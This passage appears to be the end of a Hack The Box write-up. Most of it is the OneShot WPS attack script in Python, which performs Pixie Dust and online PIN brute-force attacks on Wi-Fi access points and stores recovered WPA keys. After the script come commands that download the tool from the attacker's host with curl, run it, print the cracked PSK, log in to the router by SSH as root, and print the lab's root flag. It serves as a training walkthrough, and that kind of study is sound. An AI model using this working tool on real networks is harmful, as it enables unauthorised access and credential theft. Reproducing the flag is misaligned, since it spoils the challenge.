temp.write('ctrl_interface={}\nctrl_interface_group=root\nupdate_config=1\n'.format(self.tempdir))
self.tempconf = temp.name
self.wpas_ctrl_path = f"{self.tempdir}/{interface}"
self.__init_wpa_supplicant()

self.res_socket_file = f"{tempfile._get_default_tempdir()}/{next(tempfile._get_candidate_names())}"
self.retsock = socket.socket(socket.AF_UNIX, socket.SOCK_DGRAM)
self.retsock.bind(self.res_socket_file)

self.pixie_creds = PixiewpsData()
self.connection_status = ConnectionStatus()

user_home = str(pathlib.Path.home())
self.sessions_dir = f'{user_home}/.OneShot/sessions/'
self.pixiewps_dir = f'{user_home}/.OneShot/pixiewps/'
self.reports_dir = os.path.dirname(os.path.realpath(__file__)) + '/reports/'
if not os.path.exists(self.sessions_dir):
os.makedirs(self.sessions_dir)
if not os.path.exists(self.pixiewps_dir):
os.makedirs(self.pixiewps_dir)

self.generator = WPSpin()

def __init_wpa_supplicant(self):
print('[*] Running wpa_supplicant…')
cmd = 'wpa_supplicant -K -d -Dnl80211,wext,hostapd,wired -i{} -c{}'.format(self.interface, self.tempconf)
self.wpas = subprocess.Popen(cmd, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, encoding='utf-8', errors='replace')
# Waiting for wpa_supplicant control interface initialization
while True:
ret = self.wpas.poll()
if ret is not None and ret != 0:
raise ValueError('wpa_supplicant returned an error: ' + self.wpas.communicate()[0])
if os.path.exists(self.wpas_ctrl_path):
break
time.sleep(.1)

def sendOnly(self, command):
"""Sends command to wpa_supplicant"""
self.retsock.sendto(command.encode(), self.wpas_ctrl_path)

def sendAndReceive(self, command):
"""Sends command to wpa_supplicant and returns the reply"""
self.retsock.sendto(command.encode(), self.wpas_ctrl_path)
(b, address) = self.retsock.recvfrom(4096)
inmsg = b.decode('utf-8', errors='replace')
return inmsg

@staticmethod
def _explain_wpas_not_ok_status(command: str, respond: str):
if command.startswith(('WPS_REG', 'WPS_PBC')):
if respond == 'UNKNOWN COMMAND':
return ('[!] It looks like your wpa_supplicant is compiled without WPS protocol support. '
'Please build wpa_supplicant with WPS support ("CONFIG_WPS=y")')
return '[!] Something went wrong — check out debug log'

def __handle_wpas(self, pixiemode=False, pbc_mode=False, verbose=None):
if not verbose:
verbose = self.print_debug
line = self.wpas.stdout.readline()
if not line:
self.wpas.wait()
return False
line = line.rstrip('\n')

if verbose:
sys.stderr.write(line + '\n')

if line.startswith('WPS: '):
if 'Building Message M' in line:
n = int(line.split('Building Message M')[1].replace('D', ''))
self.connection_status.last_m_message = n
print('[*] Sending WPS Message M{}…'.format(n))
elif 'Received M' in line:
n = int(line.split('Received M')[1])
self.connection_status.last_m_message = n
print('[*] Received WPS Message M{}'.format(n))
if n == 5:
print('[+] The first half of the PIN is valid')
elif 'Received WSC_NACK' in line:
self.connection_status.status = 'WSC_NACK'
print('[*] Received WSC NACK')
print('[-] Error: wrong PIN code')
elif 'Enrollee Nonce' in line and 'hexdump' in line:
self.pixie_creds.e_nonce = get_hex(line)
assert(len(self.pixie_creds.e_nonce) == 16*2)
if pixiemode:
print('[P] E-Nonce: {}'.format(self.pixie_creds.e_nonce))
elif 'DH own Public Key' in line and 'hexdump' in line:
self.pixie_creds.pkr = get_hex(line)
assert(len(self.pixie_creds.pkr) == 192*2)
if pixiemode:
print('[P] PKR: {}'.format(self.pixie_creds.pkr))
elif 'DH peer Public Key' in line and 'hexdump' in line:
self.pixie_creds.pke = get_hex(line)
assert(len(self.pixie_creds.pke) == 192*2)
if pixiemode:
print('[P] PKE: {}'.format(self.pixie_creds.pke))
elif 'AuthKey' in line and 'hexdump' in line:
self.pixie_creds.authkey = get_hex(line)
assert(len(self.pixie_creds.authkey) == 32*2)
if pixiemode:
print('[P] AuthKey: {}'.format(self.pixie_creds.authkey))
elif 'E-Hash1' in line and 'hexdump' in line:
self.pixie_creds.e_hash1 = get_hex(line)
assert(len(self.pixie_creds.e_hash1) == 32*2)
if pixiemode:
print('[P] E-Hash1: {}'.format(self.pixie_creds.e_hash1))
elif 'E-Hash2' in line and 'hexdump' in line:
self.pixie_creds.e_hash2 = get_hex(line)
assert(len(self.pixie_creds.e_hash2) == 32*2)
if pixiemode:
print('[P] E-Hash2: {}'.format(self.pixie_creds.e_hash2))
elif 'Network Key' in line and 'hexdump' in line:
self.connection_status.status = 'GOT_PSK'
self.connection_status.wpa_psk = bytes.fromhex(get_hex(line)).decode('utf-8', errors='replace')
elif ': State: ' in line:
if '-> SCANNING' in line:
self.connection_status.status = 'scanning'
print('[*] Scanning…')
elif ('WPS-FAIL' in line) and (self.connection_status.status != ''):
self.connection_status.status = 'WPS_FAIL'
print('[-] wpa_supplicant returned WPS-FAIL')
# elif 'NL80211_CMD_DEL_STATION' in line:
# print("[!] Unexpected interference — kill NetworkManager/wpa_supplicant!")
elif 'Trying to authenticate with' in line:
self.connection_status.status = 'authenticating'
if 'SSID' in line:
self.connection_status.essid = codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape').encode('latin1').decode('utf-8', errors='replace')
print('[*] Authenticating…')
elif 'Authentication response' in line:
print('[+] Authenticated')
elif 'Trying to associate with' in line:
self.connection_status.status = 'associating'
if 'SSID' in line:
self.connection_status.essid = codecs.decode("'".join(line.split("'")[1:-1]), 'unicode-escape').encode('latin1').decode('utf-8', errors='replace')
print('[*] Associating with AP…')
elif ('Associated with' in line) and (self.interface in line):
bssid = line.split()[-1].upper()
if self.connection_status.essid:
print('[+] Associated with {} (ESSID: {})'.format(bssid, self.connection_status.essid))
else:
print('[+] Associated with {}'.format(bssid))
elif 'EAPOL: txStart' in line:
self.connection_status.status = 'eapol_start'
print('[*] Sending EAPOL Start…')
elif 'EAP entering state IDENTITY' in line:
print('[*] Received Identity Request')
elif 'using real identity' in line:
print('[*] Sending Identity Response…')
elif pbc_mode and ('selected BSS ' in line):
bssid = line.split('selected BSS ')[-1].split()[0].upper()
self.connection_status.bssid = bssid
print('[*] Selected AP: {}'.format(bssid))

return True

def __runPixiewps(self, showcmd=False, full_range=False):
print("[*] Running Pixiewps…")
cmd = self.pixie_creds.get_pixie_cmd(full_range)
if showcmd:
print(cmd)
r = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,
stderr=sys.stdout, encoding='utf-8', errors='replace')
print(r.stdout)
if r.returncode == 0:
lines = r.stdout.splitlines()
for line in lines:
if ('[+]' in line) and ('WPS pin' in line):
pin = line.split(':')[-1].strip()
if pin == '<empty>':
pin = "''"
return pin
return False

def __credentialPrint(self, wps_pin=None, wpa_psk=None, essid=None):
print(f"[+] WPS PIN: '{wps_pin}'")
print(f"[+] WPA PSK: '{wpa_psk}'")
print(f"[+] AP SSID: '{essid}'")

def __saveResult(self, bssid, essid, wps_pin, wpa_psk):
if not os.path.exists(self.reports_dir):
os.makedirs(self.reports_dir)
filename = self.reports_dir + 'stored'
dateStr = datetime.now().strftime("%d.%m.%Y %H:%M")
with open(filename + '.txt', 'a', encoding='utf-8') as file:
file.write('{}\nBSSID: {}\nESSID: {}\nWPS PIN: {}\nWPA PSK: {}\n\n'.format(
dateStr, bssid, essid, wps_pin, wpa_psk
)
)
writeTableHeader = not os.path.isfile(filename + '.csv')
with open(filename + '.csv', 'a', newline='', encoding='utf-8') as file:
csvWriter = csv.writer(file, delimiter=';', quoting=csv.QUOTE_ALL)
if writeTableHeader:
csvWriter.writerow(['Date', 'BSSID', 'ESSID', 'WPS PIN', 'WPA PSK'])
csvWriter.writerow([dateStr, bssid, essid, wps_pin, wpa_psk])
print(f'[i] Credentials saved to {filename}.txt, {filename}.csv')

def __savePin(self, bssid, pin):
filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper())
with open(filename, 'w') as file:
file.write(pin)
print('[i] PIN saved in {}'.format(filename))

def __prompt_wpspin(self, bssid):
pins = self.generator.getSuggested(bssid)
if len(pins) > 1:
print(f'PINs generated for {bssid}:')
print('{:<3} {:<10} {:<}'.format('#', 'PIN', 'Name'))
for i, pin in enumerate(pins):
number = '{})'.format(i + 1)
line = '{:<3} {:<10} {:<}'.format(
number, pin['pin'], pin['name'])
print(line)
while 1:
pinNo = input('Select the PIN: ')
try:
if int(pinNo) in range(1, len(pins)+1):
pin = pins[int(pinNo) - 1]['pin']
else:
raise IndexError
except Exception:
print('Invalid number')
else:
break
elif len(pins) == 1:
pin = pins[0]
print('[i] The only probable PIN is selected:', pin['name'])
pin = pin['pin']
else:
return None
return pin

def __wps_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, verbose=None):
if not verbose:
verbose = self.print_debug
self.pixie_creds.clear()
self.connection_status.clear()
self.wpas.stdout.read(300) # Clean the pipe
if pbc_mode:
if bssid:
print(f"[*] Starting WPS push button connection to {bssid}…")
cmd = f'WPS_PBC {bssid}'
else:
print("[*] Starting WPS push button connection…")
cmd = 'WPS_PBC'
else:
print(f"[*] Trying PIN '{pin}'…")
cmd = f'WPS_REG {bssid} {pin}'
r = self.sendAndReceive(cmd)
if 'OK' not in r:
self.connection_status.status = 'WPS_FAIL'
print(self._explain_wpas_not_ok_status(cmd, r))
return False

while True:
res = self.__handle_wpas(pixiemode=pixiemode, pbc_mode=pbc_mode, verbose=verbose)
if not res:
break
if self.connection_status.status == 'WSC_NACK':
break
elif self.connection_status.status == 'GOT_PSK':
break
elif self.connection_status.status == 'WPS_FAIL':
break

self.sendOnly('WPS_CANCEL')
return False

def single_connection(self, bssid=None, pin=None, pixiemode=False, pbc_mode=False, showpixiecmd=False,
pixieforce=False, store_pin_on_fail=False):
if not pin:
if pixiemode:
try:
# Try using the previously calculated PIN
filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper())
with open(filename, 'r') as file:
t_pin = file.readline().strip()
if input('[?] Use previously calculated PIN {}? [n/Y] '.format(t_pin)).lower() != 'n':
pin = t_pin
else:
raise FileNotFoundError
except FileNotFoundError:
pin = self.generator.getLikely(bssid) or '12345670'
elif not pbc_mode:
# If not pixiemode, ask user to select a pin from the list
pin = self.__prompt_wpspin(bssid) or '12345670'
if pbc_mode:
self.__wps_connection(bssid, pbc_mode=pbc_mode)
bssid = self.connection_status.bssid
pin = '<PBC mode>'
elif store_pin_on_fail:
try:
self.__wps_connection(bssid, pin, pixiemode)
except KeyboardInterrupt:
print("\nAborting…")
self.__savePin(bssid, pin)
return False
else:
self.__wps_connection(bssid, pin, pixiemode)

if self.connection_status.status == 'GOT_PSK':
self.__credentialPrint(pin, self.connection_status.wpa_psk, self.connection_status.essid)
if self.save_result:
self.__saveResult(bssid, self.connection_status.essid, pin, self.connection_status.wpa_psk)
if not pbc_mode:
# Try to remove temporary PIN file
filename = self.pixiewps_dir + '{}.run'.format(bssid.replace(':', '').upper())
try:
os.remove(filename)
except FileNotFoundError:
pass
return True
elif pixiemode:
if self.pixie_creds.got_all():
pin = self.__runPixiewps(showpixiecmd, pixieforce)
if pin:
return self.single_connection(bssid, pin, pixiemode=False, store_pin_on_fail=True)
return False
else:
print('[!] Not enough data to run Pixie Dust attack')
return False
else:
if store_pin_on_fail:
# Saving Pixiewps calculated PIN if can't connect
self.__savePin(bssid, pin)
return False

def __first_half_bruteforce(self, bssid, f_half, delay=None):
"""
@f_half — 4-character string
"""
checksum = self.generator.checksum
while int(f_half) < 10000:
t = int(f_half + '000')
pin = '{}000{}'.format(f_half, checksum(t))
self.single_connection(bssid, pin)
if self.connection_status.isFirstHalfValid():
print('[+] First half found')
return f_half
elif self.connection_status.status == 'WPS_FAIL':
print('[!] WPS transaction failed, re-trying last pin')
return self.__first_half_bruteforce(bssid, f_half)
f_half = str(int(f_half) + 1).zfill(4)
self.bruteforce.registerAttempt(f_half)
if delay:
time.sleep(delay)
print('[-] First half not found')
return False

def __second_half_bruteforce(self, bssid, f_half, s_half, delay=None):
"""
@f_half — 4-character string
@s_half — 3-character string
"""
checksum = self.generator.checksum
while int(s_half) < 1000:
t = int(f_half + s_half)
pin = '{}{}{}'.format(f_half, s_half, checksum(t))
self.single_connection(bssid, pin)
if self.connection_status.last_m_message > 6:
return pin
elif self.connection_status.status == 'WPS_FAIL':
print('[!] WPS transaction failed, re-trying last pin')
return self.__second_half_bruteforce(bssid, f_half, s_half)
s_half = str(int(s_half) + 1).zfill(3)
self.bruteforce.registerAttempt(f_half + s_half)
if delay:
time.sleep(delay)
return False

def smart_bruteforce(self, bssid, start_pin=None, delay=None):
if (not start_pin) or (len(start_pin) < 4):
# Trying to restore previous session
try:
filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper())
with open(filename, 'r') as file:
if input('[?] Restore previous session for {}? [n/Y] '.format(bssid)).lower() != 'n':
mask = file.readline().strip()
else:
raise FileNotFoundError
except FileNotFoundError:
mask = '0000'
else:
mask = start_pin[:7]

try:
self.bruteforce = BruteforceStatus()
self.bruteforce.mask = mask
if len(mask) == 4:
f_half = self.__first_half_bruteforce(bssid, mask, delay)
if f_half and (self.connection_status.status != 'GOT_PSK'):
self.__second_half_bruteforce(bssid, f_half, '001', delay)
elif len(mask) == 7:
f_half = mask[:4]
s_half = mask[4:]
self.__second_half_bruteforce(bssid, f_half, s_half, delay)
raise KeyboardInterrupt
except KeyboardInterrupt:
print("\nAborting…")
filename = self.sessions_dir + '{}.run'.format(bssid.replace(':', '').upper())
with open(filename, 'w') as file:
file.write(self.bruteforce.mask)
print('[i] Session saved in {}'.format(filename))
if args.loop:
raise KeyboardInterrupt

def cleanup(self):
self.retsock.close()
self.wpas.terminate()
os.remove(self.res_socket_file)
shutil.rmtree(self.tempdir, ignore_errors=True)
os.remove(self.tempconf)

def __del__(self):
self.cleanup()


class WiFiScanner:
"""docstring for WiFiScanner"""
def __init__(self, interface, vuln_list=None):
self.interface = interface
self.vuln_list = vuln_list

reports_fname = os.path.dirname(os.path.realpath(__file__)) + '/reports/stored.csv'
try:
with open(reports_fname, 'r', newline='', encoding='utf-8', errors='replace') as file:
csvReader = csv.reader(file, delimiter=';', quoting=csv.QUOTE_ALL)
# Skip header
next(csvReader)
self.stored = []
for row in csvReader:
self.stored.append(
(
row[1], # BSSID
row[2] # ESSID
)
)
except FileNotFoundError:
self.stored = []

def iw_scanner(self) -> Dict[int, dict]:
"""Parsing iw scan results"""
def handle_network(line, result, networks):
networks.append(
{
'Security type': 'Unknown',
'WPS': False,
'WPS locked': False,
'Model': '',
'Model number': '',
'Device name': ''
}
)
networks[-1]['BSSID'] = result.group(1).upper()

def handle_essid(line, result, networks):
d = result.group(1)
networks[-1]['ESSID'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace')

def handle_level(line, result, networks):
networks[-1]['Level'] = int(float(result.group(1)))

def handle_securityType(line, result, networks):
sec = networks[-1]['Security type']
if result.group(1) == 'capability':
if 'Privacy' in result.group(2):
sec = 'WEP'
else:
sec = 'Open'
elif sec == 'WEP':
if result.group(1) == 'RSN':
sec = 'WPA2'
elif result.group(1) == 'WPA':
sec = 'WPA'
elif sec == 'WPA':
if result.group(1) == 'RSN':
sec = 'WPA/WPA2'
elif sec == 'WPA2':
if result.group(1) == 'WPA':
sec = 'WPA/WPA2'
networks[-1]['Security type'] = sec

def handle_wps(line, result, networks):
networks[-1]['WPS'] = result.group(1)

def handle_wpsLocked(line, result, networks):
flag = int(result.group(1), 16)
if flag:
networks[-1]['WPS locked'] = True

def handle_model(line, result, networks):
d = result.group(1)
networks[-1]['Model'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace')

def handle_modelNumber(line, result, networks):
d = result.group(1)
networks[-1]['Model number'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace')

def handle_deviceName(line, result, networks):
d = result.group(1)
networks[-1]['Device name'] = codecs.decode(d, 'unicode-escape').encode('latin1').decode('utf-8', errors='replace')

cmd = 'iw dev {} scan'.format(self.interface)
proc = subprocess.run(cmd, shell=True, stdout=subprocess.PIPE,
stderr=subprocess.STDOUT, encoding='utf-8', errors='replace')
lines = proc.stdout.splitlines()
networks = []
matchers = {
re.compile(r'BSS (\S+)( )?\(on \w+\)'): handle_network,
re.compile(r'SSID: (.*)'): handle_essid,
re.compile(r'signal: ([+-]?([0-9]*[.])?[0-9]+) dBm'): handle_level,
re.compile(r'(capability): (.+)'): handle_securityType,
re.compile(r'(RSN):\t [*] Version: (\d+)'): handle_securityType,
re.compile(r'(WPA):\t [*] Version: (\d+)'): handle_securityType,
re.compile(r'WPS:\t [*] Version: (([0-9]*[.])?[0-9]+)'): handle_wps,
re.compile(r' [*] AP setup locked: (0x[0-9]+)'): handle_wpsLocked,
re.compile(r' [*] Model: (.*)'): handle_model,
re.compile(r' [*] Model Number: (.*)'): handle_modelNumber,
re.compile(r' [*] Device name: (.*)'): handle_deviceName
}

for line in lines:
if line.startswith('command failed:'):
print('[!] Error:', line)
return False
line = line.strip('\t')
for regexp, handler in matchers.items():
res = re.match(regexp, line)
if res:
handler(line, res, networks)

# Filtering non-WPS networks
networks = list(filter(lambda x: bool(x['WPS']), networks))
if not networks:
return False

# Sorting by signal level
networks.sort(key=lambda x: x['Level'], reverse=True)

# Putting a list of networks in a dictionary, where each key is a network number in list of networks
network_list = {(i + 1): network for i, network in enumerate(networks)}

# Printing scanning results as table
def truncateStr(s, length, postfix='…'):
"""
Truncate string with the specified length
@s — input string
@length — length of output string
"""
if len(s) > length:
k = length - len(postfix)
s = s[:k] + postfix
return s

def colored(text, color=None):
"""Returns colored text"""
if color:
if color == 'green':
text = '\033[92m{}\033[00m'.format(text)
elif color == 'red':
text = '\033[91m{}\033[00m'.format(text)
elif color == 'yellow':
text = '\033[93m{}\033[00m'.format(text)
else:
return text
else:
return text
return text

if self.vuln_list:
print('Network marks: {1} {0} {2} {0} {3}'.format(
'|',
colored('Possibly vulnerable', color='green'),
colored('WPS locked', color='red'),
colored('Already stored', color='yellow')
))
print('Networks list:')
print('{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format(
'#', 'BSSID', 'ESSID', 'Sec.', 'PWR', 'WSC device name', 'WSC model'))

network_list_items = list(network_list.items())
if args.reverse_scan:
network_list_items = network_list_items[::-1]
for n, network in network_list_items:
number = f'{n})'
model = '{} {}'.format(network['Model'], network['Model number'])
essid = truncateStr(network['ESSID'], 25)
deviceName = truncateStr(network['Device name'], 27)
line = '{:<4} {:<18} {:<25} {:<8} {:<4} {:<27} {:<}'.format(
number, network['BSSID'], essid,
network['Security type'], network['Level'],
deviceName, model
)
if (network['BSSID'], network['ESSID']) in self.stored:
print(colored(line, color='yellow'))
elif network['WPS locked']:
print(colored(line, color='red'))
elif self.vuln_list and (model in self.vuln_list):
print(colored(line, color='green'))
else:
print(line)

return network_list

def prompt_network(self) -> str:
networks = self.iw_scanner()
if not networks:
print('[-] No WPS networks found.')
return
while 1:
try:
networkNo = input('Select target (press Enter to refresh): ')
if networkNo.lower() in ('r', '0', ''):
return self.prompt_network()
elif int(networkNo) in networks.keys():
return networks[int(networkNo)]['BSSID']
else:
raise IndexError
except Exception:
print('Invalid number')


def ifaceUp(iface, down=False):
if down:
action = 'down'
else:
action = 'up'
cmd = 'ip link set {} {}'.format(iface, action)
res = subprocess.run(cmd, shell=True, stdout=sys.stdout, stderr=sys.stdout)
if res.returncode == 0:
return True
else:
return False


def die(msg):
sys.stderr.write(msg + '\n')
sys.exit(1)


def usage():
return """
OneShotPin 0.0.2 (c) 2017 rofl0r, modded by drygdryg

%(prog)s <arguments>

Required arguments:
-i, --interface=<wlan0> : Name of the interface to use

Optional arguments:
-b, --bssid=<mac> : BSSID of the target AP
-p, --pin=<wps pin> : Use the specified pin (arbitrary string or 4/8 digit pin)
-K, --pixie-dust : Run Pixie Dust attack
-B, --bruteforce : Run online bruteforce attack
--push-button-connect : Run WPS push button connection

Advanced arguments:
-d, --delay=<n> : Set the delay between pin attempts [0]
-w, --write : Write AP credentials to the file on success
-F, --pixie-force : Run Pixiewps with --force option (bruteforce full range)
-X, --show-pixie-cmd : Always print Pixiewps command
--vuln-list=<filename> : Use custom file with vulnerable devices list ['vulnwsc.txt']
--iface-down : Down network interface when the work is finished
-l, --loop : Run in a loop
-r, --reverse-scan : Reverse order of networks in the list of networks. Useful on small displays
--mtk-wifi : Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit
(for internal Wi-Fi adapters implemented in MediaTek SoCs). Turn off Wi-Fi in the system settings before using this.
-v, --verbose : Verbose output

Example:
%(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K
"""


if __name__ == '__main__':
import argparse

parser = argparse.ArgumentParser(
description='OneShotPin 0.0.2 (c) 2017 rofl0r, modded by drygdryg',
epilog='Example: %(prog)s -i wlan0 -b 00:90:4C:C1:AC:21 -K'
)

parser.add_argument(
'-i', '--interface',
type=str,
required=True,
help='Name of the interface to use'
)
parser.add_argument(
'-b', '--bssid',
type=str,
help='BSSID of the target AP'
)
parser.add_argument(
'-p', '--pin',
type=str,
help='Use the specified pin (arbitrary string or 4/8 digit pin)'
)
parser.add_argument(
'-K', '--pixie-dust',
action='store_true',
help='Run Pixie Dust attack'
)
parser.add_argument(
'-F', '--pixie-force',
action='store_true',
help='Run Pixiewps with --force option (bruteforce full range)'
)
parser.add_argument(
'-X', '--show-pixie-cmd',
action='store_true',
help='Always print Pixiewps command'
)
parser.add_argument(
'-B', '--bruteforce',
action='store_true',
help='Run online bruteforce attack'
)
parser.add_argument(
'--pbc', '--push-button-connect',
action='store_true',
help='Run WPS push button connection'
)
parser.add_argument(
'-d', '--delay',
type=float,
help='Set the delay between pin attempts'
)
parser.add_argument(
'-w', '--write',
action='store_true',
help='Write credentials to the file on success'
)
parser.add_argument(
'--iface-down',
action='store_true',
help='Down network interface when the work is finished'
)
parser.add_argument(
'--vuln-list',
type=str,
default=os.path.dirname(os.path.realpath(__file__)) + '/vulnwsc.txt',
help='Use custom file with vulnerable devices list'
)
parser.add_argument(
'-l', '--loop',
action='store_true',
help='Run in a loop'
)
parser.add_argument(
'-r', '--reverse-scan',
action='store_true',
help='Reverse order of networks in the list of networks. Useful on small displays'
)
parser.add_argument(
'--mtk-wifi',
action='store_true',
help='Activate MediaTek Wi-Fi interface driver on startup and deactivate it on exit '
'(for internal Wi-Fi adapters implemented in MediaTek SoCs). '
'Turn off Wi-Fi in the system settings before using this.'
)
parser.add_argument(
'-v', '--verbose',
action='store_true',
help='Verbose output'
)

args = parser.parse_args()

if sys.hexversion < 0x03060F0:
die("The program requires Python 3.6 and above")
if os.getuid() != 0:
die("Run it as root")

if args.mtk_wifi:
wmtWifi_device = Path("/dev/wmtWifi")
if not wmtWifi_device.is_char_device():
die("Unable to activate MediaTek Wi-Fi interface device (--mtk-wifi): "
"/dev/wmtWifi does not exist or it is not a character device")
wmtWifi_device.chmod(0o644)
wmtWifi_device.write_text("1")

if not ifaceUp(args.interface):
die('Unable to up interface "{}"'.format(args.interface))

while True:
try:
companion = Companion(args.interface, args.write, print_debug=args.verbose)
if args.pbc:
companion.single_connection(pbc_mode=True)
else:
if not args.bssid:
try:
with open(args.vuln_list, 'r', encoding='utf-8') as file:
vuln_list = file.read().splitlines()
except FileNotFoundError:
vuln_list = []
scanner = WiFiScanner(args.interface, vuln_list)
if not args.loop:
print('[*] BSSID not specified (--bssid) — scanning for available networks')
args.bssid = scanner.prompt_network()

if args.bssid:
companion = Companion(args.interface, args.write, print_debug=args.verbose)
if args.bruteforce:
companion.smart_bruteforce(args.bssid, args.pin, args.delay)
else:
companion.single_connection(args.bssid, args.pin, args.pixie_dust,
args.show_pixie_cmd, args.pixie_force)
if not args.loop:
break
else:
args.bssid = None
except KeyboardInterrupt:
if args.loop:
if input("\n[?] Exit the script (otherwise continue to AP scan)? [N/y] ").lower() == 'y':
print("Aborting…")
break
else:
args.bssid = None
else:
print("\nAborting…")
break

if args.iface_down:
ifaceUp(args.interface, down=True)

if args.mtk_wifi:
wmtWifi_device.write_text("0")
python3 -m http.server 8080
curl 10.10.14.236:8080/oneshot.py -o oneshot.py

We proceed to execute the script. And see how it’s used.

sudo python3 oneshot.py -i wlan0 -b 02:00:00:00:01:00 -K
WPA PSK: NoWWEDoKnowWhaTisReal123!
AP SSID: plcrouter
WPS PIN: 12345670

Very interesting, then i proceed to create my PSK password.

wpa_passphrase plcrouter NoWWEDoKnowWhaTisReal123! | sudo tee -a /etc/wpa_supplicant/wpa_supplicant.conf
sudo wpa_supplicant -B -i wlan0 -c /etc/wpa_supplicant/wpa_supplicant.conf

And then I connect to the Wi-Fi using this key.

ssid="plcrouter"
#psk="NoWWEDoKnowWhaTisReal123!"
psk=2bafe4e17630ef1834eaa9fa5c4d81fa5ef093c4db5aac5c03f1643fef02d156

We added a manual IP for our wlan0.

sudo ifconfig wlan0 192.168.1.7 netmask 255.255.255.0 up

We log in by SSH as root

ssh root@192.168.1.1

Hehe!!! Finally, we got the root flag.

Root.txt — 995ca131b9a37e02e593f99b1b4e7ba4

I hope you enjoyed this writeup! Happy Hacking :)

Follow me on below Social Media:

  1. LinkedIn: Reju Kole

2. Instagram: reju.kole.9

3. Respect me On HackTheBox! : W40X

4. Check My TryHackMe Profile : TryHackMe | W40X

5. Twitter | X : @Mr_W40X

6. GitHub : W40X | Reju Kole | Security Researcher

in case you need any help feel free to message me on my social media handles.

--

--

Reju Kole

Top 1% at TryHackMe Global / CompTIA PenTest+ / HTB | GURU / CVE-2022-33891 / eJPTv2 / ICCA / CompTIA Security+ (SYO-601) / CompTIA CASP+ (CAS-004)